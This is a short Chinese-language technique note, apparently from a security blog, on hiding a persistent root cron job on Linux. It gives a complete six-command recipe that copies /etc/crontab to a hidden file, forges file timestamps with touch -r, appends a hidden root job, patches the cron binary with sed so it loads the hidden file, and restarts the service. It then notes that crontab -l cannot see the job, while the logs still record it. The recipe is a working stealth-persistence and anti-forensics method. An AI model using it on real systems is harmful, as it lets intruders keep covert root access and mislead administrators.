原理

/etc/crontab文件是系统级计划任务配置,几乎没有人修改

只需要修改cron程序加载/etc/crontab的文件名,即可实现隐蔽计划任务

命令

1
2
3
4
5
6
cp /etc/crontab /etc/.cronxx
touch /etc/.cronxx -r /etc/crontab
echo "* * * * * root touch /tmp/fuck.tmp" >> /etc/.cronxx
sed -i 's|/etc/crontab|/etc/.cronxx|g' $(which cron || which crond)
touch $(which cron || which crond) -r $(which crontab)
systemctl restart cron crond

注意:

  1. touch用于伪装mtime
  2. sed中修改后的文件名长度必须和/etc/crontab文件名长度一致
  3. echo中的"* * * * * root touch /tmp/fuck.tmp" 就是添加隐藏命令

优缺点

优点

  1. 修改简单无需借助其他工具
  2. crontab -l命令无法查看

缺点

  1. 日志中仍然会有记录